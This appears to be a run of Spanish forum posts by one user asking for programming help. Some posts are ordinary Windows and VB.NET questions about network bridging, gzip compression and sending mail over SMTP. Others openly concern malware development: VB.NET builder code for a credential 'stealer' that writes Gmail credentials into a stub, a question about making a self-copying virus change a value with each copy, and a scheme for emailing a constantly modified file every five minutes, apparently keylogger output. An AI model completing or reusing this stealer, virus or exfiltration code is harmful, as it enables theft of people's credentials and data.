Temas

Hola a todos, alguien sabe que ha pasado con Level-23, hace tiempo que está offline, y no tengo noticias de que es lo que pasó. Alguien sabe algo sobre el tema?

Hola, tengo Win7. Y tengo el siguiente problema:
Me conecto a internet a través de un adaptador USB Wifi, he habilitado un Puente de red para conectar otro PC a traves de un cable. El puente de red en su momento lo eliminé. Ahora lo voy a intentar crear de nuevo y me sale el siguiente error:
"Para crear un puente de red debe seleccionar por lo menos dos o más conexiones a Internet de alta velocidad o LAN que no estén siendo usadas por Conexión compartida a Internet"

He restaurado el PC a un punto anterior y nada.

¿Alguna solución?

Hola, estaba haciendo un stealer en Windows XP 32 bits, que ya me funciona perfectamente, ahora la estoy modificando un poco pero en Windows 7 64 bits. A la hora de crear el server no me crea el fichero. Lo hago de la siguiente forma:

Código [Seleccionar] Expandir


FileOpen(1, Application.StartupPath & "\" & stub, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = stub.PadLeft(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, Application.StartupPath + "\" + fileOut, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & UserGmail & FileSplit & PassGmail & FileSplit)
FileClose(1)


Hay alguna forma de modificar el código para que funciones?
Ah, utilizo Visual Studio 2008

[Aplicación 1]

Hola, a ver si puedo explicarme bien.

En el ejemplo de un virus, en la Aplicación 1 lo configuramos y creamos la Aplicación 3 a partir de la configuración de Aplicación 2 que es el stub. Cuando genero la Aplicación 3 hay una variable que tiene un valor aleatorio, la Aplicación 3 quiero que cuando se autocopie en otro directorio el valor de variable se cambie por otro valor. ¿Cómo puedo hacer para que ese valor de variable se cambie cada vez que se crea una autocopia de Aplicación 3?

------------
He avanzado un poco, el problema es que cuando se inicia al hacer el load carga el valor de la variable de la primera configuración, el primer valor que fue creado con Aplicación 1

No sé bien como se llama esto que intento hacer.

Hola, estoy con una aplicación, a ver, me explico, cada 5 minutos estoy intentando enviar un archivo que es modificado, entonces probando me daba error, y lo que hago es:
- Creo un archivo (la primera vez, luego le añado texto)
- A los 5 minutos hago una copia de éste
- Envío por email la copia
- Borro la copia
- Y así sucesivamente

La cosa es que al intentar hacer el segundo envio, al intentar hacer la copia dice que el archivo ya existe (File.Copy), es como si se quedara "trabado" al hacer New Attachment(archivoCopia) para enviarlo. No se que pasa!

La cosa es, ¿cómo puedo hacer para enviar un archivo por email cada 5 minutos, por ejemplo, que es modicado constantemente?

[Imports System.Windows.Forms.Keys]

Hola! Estoy en una aplicación en la que he puesto esta línea, Imports System.Windows.Forms.Keys, ya que necesito trabajar con las teclas, y en el código necesito utilizar Space(LOF(1)) para trabajar con ficheros. El problema es el siguiente, al tener hecho el Imports, el Space lo toma como si fuera una tecla, pero yo quiero utilizar la función de Space(LOF(1)) sin que me afecte lo otro. Cómo se puede solucionar?

Gracias.

Hola, estoy intentando comprimir una carpeta. He mirado el código de msdn:

Código [Seleccionar] Expandir

Module Module1
    Sub Main()
        ' Path to directory of files to compress.
        Dim dirpath As String = "c:\carpeta\"

        Dim di As DirectoryInfo = New DirectoryInfo(dirpath)


        ' Compress the directory's files.
        For Each fi As FileInfo In di.GetFiles()
            Compress(fi)
        Next

        ' Decompress all *.gz files in the directory.
        ' For Each fi As FileInfo In di.GetFiles("*.gz")
        'Decompress(fi)
        'Next

    End Sub

    ' Method to compress.
    Private Sub Compress(ByVal fi As FileInfo)
        ' Get the stream of the source file.
        Using inFile As FileStream = fi.OpenRead()
            ' Compressing:
            ' Prevent compressing hidden and already compressed files.

            If (File.GetAttributes(fi.FullName) And FileAttributes.Hidden) _
                <> FileAttributes.Hidden And fi.Extension <> ".gz" Then
                ' Create the compressed file.
                Using outFile As FileStream = File.Create(fi.FullName + ".gz")
                    Using Compress As GZipStream = New GZipStream(outFile, CompressionMode.Compress)
                        ' Copy the source file into the compression stream.
                        Dim buffer As Byte() = New Byte(4096) {}
                        Dim numRead As Integer
                        numRead = inFile.Read(buffer, 0, buffer.Length)
                        Do While numRead <> 0
                            Compress.Write(buffer, 0, numRead)
                            numRead = inFile.Read(buffer, 0, buffer.Length)
                        Loop

                        Console.WriteLine("Compressed {0} from {1} to {2} bytes.", _
                                          fi.Name, fi.Length.ToString(), outFile.Length.ToString())

                    End Using
                End Using
            End If
        End Using
    End Sub
    ' Method to decompress.
    Private Sub Decompress(ByVal fi As FileInfo)
        ' Get the stream of the source file.
        Using inFile As FileStream = fi.OpenRead()
            ' Get orignial file extension, for example "doc" from report.doc.gz.
            Dim curFile As String = fi.FullName
            Dim origName = curFile.Remove(curFile.Length - fi.Extension.Length)

            ' Create the decompressed file.
            Using outFile As FileStream = File.Create(origName)
                Using Decompress As GZipStream = New GZipStream(inFile, CompressionMode.Decompress)
                    ' Copy the compressed file into the decompression stream.
                    Dim buffer As Byte() = New Byte(4096) {}
                    Dim numRead As Integer
                    numRead = Decompress.Read(buffer, 0, buffer.Length)
                    Do While numRead <> 0
                        outFile.Write(buffer, 0, numRead)
                        numRead = Decompress.Read(buffer, 0, buffer.Length)
                    Loop
                    Console.WriteLine("Decompressed: {0}", fi.Name)

                End Using
            End Using
        End Using
    End Sub
End Module
Pero no se me ocurre como puedo para solo comprimir una carpeta, ya que este código comprime cada fichero de dentro del directorio por separado!

Hola estoy intentando trastear un poco con la api del messenger. Intento obtener el nick de esta forma!

Código [Seleccionar] Expandir

Imports MessengerAPI
Public Class Form1
    Dim msn As New MessengerAPI.Messenger
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Label1.Text = msn.MyFriendlyName
    End Sub
End Class

Pero me da el siguiente error:

Error al crear una instancia del componente COM con CLSID {B69003B3-C55E-4B48-836C-BC5946FC3B28} desde IClassFactory debido al siguiente error: 8007000e.

No entiendo por qué, alguien sabe como se puede solucionar?

El otro día estaba haciendo pruebas, y conseguí enviarme un correo pero ahora lo estoy intentando de nuevo y no funciona, no entiendo por qué, el code que ahora estoy probando es este, pero no consigo que se me envie el correo, pero está bien, el otro día funcionó. Será algo del ordenador?

Código [Seleccionar] Expandir

Imports System.Net.Mail
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        'Start by creating a mail message object
        Dim MyMailMessage As New MailMessage()

        'From requires an instance of the MailAddress type
        MyMailMessage.From = New MailAddress("user@gmail.com")

        'To is a collection of MailAddress types
        MyMailMessage.To.Add("user@gmail.com")

        MyMailMessage.Subject = "GMail Test"
        MyMailMessage.Body = "This is the test text for Gmail email"

        'Create the SMTPClient object and specify the SMTP GMail server
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("usuario@gmail.com", "password")
        SMTPServer.EnableSsl = True

        Try
            SMTPServer.Send(MyMailMessage)
            MessageBox.Show("Email Sent")
        Catch ex As SmtpException
            MessageBox.Show(ex.Message)
        End Try

    End Sub
End Class